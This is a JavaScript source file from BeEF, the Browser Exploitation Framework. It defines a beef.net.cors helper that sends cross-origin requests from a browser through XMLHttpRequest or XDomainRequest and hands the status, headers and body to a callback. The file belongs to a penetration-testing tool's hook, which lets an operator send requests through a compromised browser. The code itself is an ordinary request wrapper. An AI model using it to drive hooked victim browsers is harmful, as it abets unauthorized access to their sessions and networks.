/**
* @namespace beef.net.cors
*/
beef.net.cors = {
handler: "cors",
/**
* Response Object - used in the beef.net.request callback
*/
response:function () {
this.status = null; // 500, 404, 200, 302, etc
this.headers = null; // full response headers
this.body = null; // full response body
},
/**
* Make a cross-origin request using CORS
*
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
* @param url {String} url
* @param data {String} request body
* @param timeout {Integer} request timeout in milliseconds
* @param callback {Function} function to callback on completion
*/
request: function(method, url, data, timeout, callback) {
var xhr;
var response = new this.response;
if (XMLHttpRequest) {
xhr = new XMLHttpRequest();
if ('withCredentials' in xhr) {
xhr.open(method, url, true);
xhr.timeout = parseInt(timeout, 10);
xhr.onerror = function() {
};
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
response.headers = this.getAllResponseHeaders()
response.body = this.responseText;
response.status = this.status;
if (!!callback) {
if (!!response) {
callback(response);
} else {
callback('ERROR: No Response. CORS requests may be denied for this resource.')
}
}
}
};
xhr.send(data);
}
} else if (typeof XDomainRequest != "undefined") {
xhr = new XDomainRequest();
xhr.open(method, url);
xhr.onerror = function() {
};
xhr.onload = function() {
response.headers = this.getAllResponseHeaders()
response.body = this.responseText;
response.status = this.status;
if (!!callback) {
if (!!response) {
callback(response);
} else {
callback('ERROR: No Response. CORS requests may be denied for this resource.')
}
}
};
xhr.send(data);
} else {
if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
}
}
};
beef.regCmp('beef.net.cors');